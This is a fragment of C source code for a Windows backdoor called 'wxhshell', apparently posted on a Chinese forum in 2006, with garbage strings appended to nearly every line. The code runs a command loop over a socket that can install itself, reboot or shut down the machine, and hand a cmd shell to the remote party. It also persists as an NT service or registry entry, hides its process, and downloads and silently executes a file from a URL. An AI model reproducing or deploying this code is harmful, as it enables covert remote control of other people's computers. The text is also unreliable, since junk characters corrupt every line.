  else { ph qx<N@  
i7 _Nv  
    switch(cmd[0]) { jdqVS@SD  
  7o_1PwKS6  
  // 帮助 O~?H\2S  
  case '?': { t6(LO9Qc  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Uus%1hC%a  
    break; K%h9'}pq>1  
  } '#LbIv4  
  // 安装 A/ZZ[B-  
  case 'i': { jeXP|;#Una  
    if(Install()) T#KF@8'-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wFI2 (cQ  
    else T;!: A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5#|D1A  
    break; tUU`R{=(  
    } 8S/SXyS  
  // 卸载 *'[8FZ|dQ  
  case 'r': { @-ps[b`z  
    if(Uninstall()) Hj(ay4 8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lu?MRF f  
    else G%5bQ|O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $23*:)&J4  
    break; W}jel}:  
    } PIOG| E  
  // 显示 wxhshell 所在路径 %EV\nwn6  
  case 'p': { \vwsRT 1  
    char svExeFile[MAX_PATH]; 5^lFksZ  
    strcpy(svExeFile,"\n\r");  t~_vzG  
      strcat(svExeFile,ExeFile); ggn C #$  
        send(wsh,svExeFile,strlen(svExeFile),0); >1uo5,wrF  
    break; 9bu}@#4*  
    } K ?uH Am  
  // 重启 jEU`ko_  
  case 'b': { Xf 0)i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v3\ |  
    if(Boot(REBOOT)) B\^myg4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )c*NS7D~f  
    else { 0APh=Alq  
    closesocket(wsh); ^i+ d3  
    ExitThread(0); _C"=Hy{  
    } C.]\4e  
    break; 4gD;XNrV  
    } :DWvH,{+&  
  // 关机 |z.x M>  
  case 'd': { b-!+Q)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _UP =zW  
    if(Boot(SHUTDOWN)) c+S<U*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J)o.@+Q}  
    else { c?(;6$A  
    closesocket(wsh);  #dO8) t  
    ExitThread(0); qe^d6  
    } fGdT2}gd  
    break; mv1g2f+  
    } JJC Y M  
  // 获取shell xD.Uh}:J  
  case 's': { +|0f7RB+R  
    CmdShell(wsh); IkWV|E  
    closesocket(wsh); oyw*Z_9~  
    ExitThread(0); a%nksuP3  
    break; =:fN  
  }  >;qAj!'  
  // 退出 = 1ltX+   
  case 'x': { }^Ymg7wA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ce56$L8[  
    CloseIt(wsh); xgp 6lO[  
    break; uy'I#^Bt  
    } ;r8< Ed  
  // 离开 OKo)p`BX  
  case 'q': { |-)2 D=P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3[{RH*nHD  
    closesocket(wsh); *C~$<VYI  
    WSACleanup(); 2 .p?gRO  
    exit(1); n3z]&J5fr  
    break; Z-U-n/6I  
        } WMi$ATq  
  } >PbB /->  
  } ~SzHIVj:6  
Nh^ lC  
  // 提示信息 iVaCXXf'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {u}d`%_.M  
} =# /BCL7  
  } hnYL<<AA  
r'F)8%  
  return; C}'Tmi  
} {D{' \]+  
D`4>Wh/H  
// shell模块句柄 D`9a"o  
int CmdShell(SOCKET sock) F=g +R~F  
{ qrr[QEFW  
STARTUPINFO si; [z[<onFIq  
ZeroMemory(&si,sizeof(si)); /LK,:6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D$?}M>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0FAe5 BE7  
PROCESS_INFORMATION ProcessInfo; 9 $&$Fe  
char cmdline[]="cmd"; -bP_jIZF;g  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dy' J~Eo7  
  return 0; O~*`YsL9  
} P->.eo#VG  
b # |  
// 自身启动模式 gm8FmjZtf  
int StartFromService(void) 'kb|!  
{ rYI7V?  
typedef struct K@<%Vc>L(  
{ 3;%dn \ D  
  DWORD ExitStatus; huat,zLS  
  DWORD PebBaseAddress; %G`GdG}T  
  DWORD AffinityMask; ^'G,sZ6'Nh  
  DWORD BasePriority; KD=W(\  
  ULONG UniqueProcessId; o4t6NDa  
  ULONG InheritedFromUniqueProcessId; UJ?qGOM3x>  
}   PROCESS_BASIC_INFORMATION; qdNt2SO  
ISDeLUihY  
PROCNTQSIP NtQueryInformationProcess; +1pY^#A  
dX;Q\  ]"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7=@3cw H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ri<'apl  
eEmuE H@X  
  HANDLE             hProcess; JwNB)e D  
  PROCESS_BASIC_INFORMATION pbi; WV&grG|  
($T"m-e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .|g|X8X  
  if(NULL == hInst ) return 0; =\FV_4)  
D.ERt)l>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Sg+0w7:2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b[Qe} `W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^ rh{  
0-at#r:  
  if (!NtQueryInformationProcess) return 0; 2tqj]i  
;^DG P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a,ZmDkzuv  
  if(!hProcess) return 0; %1Nank!Zj  
7 (kC|q\4M  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _O;2.M%@  
MO%kUq|pg  
  CloseHandle(hProcess); 231,v,X[  
vp4NH]fJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^~DDl$NH  
if(hProcess==NULL) return 0; #`o]{UfW  
5H79-QLd  
HMODULE hMod; = P@j*ix  
char procName[255]; |y$8!*S~(  
unsigned long cbNeeded; | k?r1dj%O  
lO/?e!$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]t)#,'$^[W  
`|`Qrv 4}  
  CloseHandle(hProcess); ,a'Y^[4k?  
  !XQq*  
if(strstr(procName,"services")) return 1; // 以服务启动 L/KiE+Y  
|PxTm  
  return 0; // 注册表启动 fq<JX5DER  
} !m:rtPD'  
U+ANSW/  
// 主模块 .^!<cFkCE  
int StartWxhshell(LPSTR lpCmdLine) s9[54 7?`  
{ zEy,aa :M  
  SOCKET wsl; TjY-C m  
BOOL val=TRUE; zPc kM)  
  int port=0; 2Fc>6]:*  
  struct sockaddr_in door; SUN!8 qFA  
cnraNq1  
  if(wscfg.ws_autoins) Install(); kK~,? l  
nm#,oX2C  
port=atoi(lpCmdLine); 60z8U#upM  
V.|#2gC]t  
if(port<=0) port=wscfg.ws_port; _ K Ix7  
T*{nf  
  WSADATA data; A +41JMH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c-oIP~,  
py }`thx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d}^G790  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); AMre(lgh  
  door.sin_family = AF_INET; L0X/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); TGH"OXV*@  
  door.sin_port = htons(port); DIBoIWSuR  
+)ba9bJ|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wCgi@\  
closesocket(wsl); wfQ^3HL  
return 1; b Od<x >@  
} FH)_L1n  
&w%--!T  
  if(listen(wsl,2) == INVALID_SOCKET) { 5 >\~jf  
closesocket(wsl); )>;V72  
return 1; 952l1c!  
} 4A)@,t9+  
  Wxhshell(wsl); h,zM*zA_  
  WSACleanup(); l4$Iv:  
bPA >xAH  
return 0; @0 #JY:"  
2y5d  
} mX5%6{],  
;~-M$a }4  
// 以NT服务方式启动 tA8O( 9OV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Xe2Zf  
{ )skz_a}]8  
DWORD   status = 0; BcxALRWE  
  DWORD   specificError = 0xfffffff; b'%)?{E  
I7XJPc4}   
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?egZkg=U  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Q N]y.(S)y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "'74GY8,  
  serviceStatus.dwWin32ExitCode     = 0; '!<gPAVTzV  
  serviceStatus.dwServiceSpecificExitCode = 0; jSMxba]  
  serviceStatus.dwCheckPoint       = 0; 8(>2+#exw  
  serviceStatus.dwWaitHint       = 0; 2 9#jKh  
Q.,2G7[ <  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8Z!Mad  
  if (hServiceStatusHandle==0) return; T#GTNk!v  
u*$]Bx  
status = GetLastError(); l i) 5o  
  if (status!=NO_ERROR) UY (\T8  
{ F R(k==pZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hn=tSlte  
    serviceStatus.dwCheckPoint       = 0; v>/_U  
    serviceStatus.dwWaitHint       = 0; B!1h"K5.($  
    serviceStatus.dwWin32ExitCode     = status; {s>V'+H(F  
    serviceStatus.dwServiceSpecificExitCode = specificError; '81c>qA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G^V a$ike  
    return; Mp?L9  
  } GK=b  
8Dkq+H93  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,lcS J^yr  
  serviceStatus.dwCheckPoint       = 0; Y?ZzFd,i&  
  serviceStatus.dwWaitHint       = 0; NXX/JJ+w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l5/gM[0_7  
} B \LmE+a>  
SW}?y%~  
// 处理NT服务事件,比如:启动、停止 `\$EPUM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) IU;a$  
{ \V#fl  
switch(fdwControl) G|YNShK4=9  
{ |:]} u|O  
case SERVICE_CONTROL_STOP: m5v IS  
  serviceStatus.dwWin32ExitCode = 0; =&F~GC Z>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; RPdFLC/  
  serviceStatus.dwCheckPoint   = 0; :%>)S  
  serviceStatus.dwWaitHint     = 0; )4TP{tp  
  { 1:!H`*DU&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *yv@B!r  
  } F :og:[  
  return; 01~ nC@;  
case SERVICE_CONTROL_PAUSE: F+ %l= fs  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ERy=lP~gV  
  break;  <H npI  
case SERVICE_CONTROL_CONTINUE: K /$-H#;N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (H8JV1J  
  break; !/e*v>3u&  
case SERVICE_CONTROL_INTERROGATE: NFyKTA6  
  break; GOOm] ]I  
}; @b!W8c 6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *-*SCA`E^=  
} [RF6mWQ  
~jzjJ&O&  
// 标准应用程序主函数 OT0IGsJ"'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }T-'""*  
{ 7,zE?KG /  
wYr*('uT  
// 获取操作系统版本 cn Oh j  
OsIsNt=GetOsVer(); e%EO/ 2"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @nAl*#M*D  
"W~vSbn7  
  // 从命令行安装 R.cR:fA  
  if(strpbrk(lpCmdLine,"iI")) Install(); hr!'  
v[r 8-0c  
  // 下载执行文件 /+1(,S  
if(wscfg.ws_downexe) { 3W%j^nM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s (K SN/  
  WinExec(wscfg.ws_filenam,SW_HIDE); .TCDv4?  
} pD('6C;  
!hFhw1  
if(!OsIsNt) { dI|D c  
// 如果时win9x,隐藏进程并且设置为注册表启动 jweX"G54R  
HideProc(); rsq?4+\  
StartWxhshell(lpCmdLine); ac\([F-  
} Gt+rVJ=v  
else 53 -O wjpx  
  if(StartFromService()) kD0bdE|  
  // 以服务方式启动 +I?k8 ',pi  
  StartServiceCtrlDispatcher(DispatchTable); 4,>9N9.?9  
else P) cEYk  
  // 普通方式启动 !6x7^E;c  
  StartWxhshell(lpCmdLine); &B ]1 VZUp  
9VanR ::XX  
return 0; `ZbFky{  
}
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只看该作者 1 发表于: 2006-10-10
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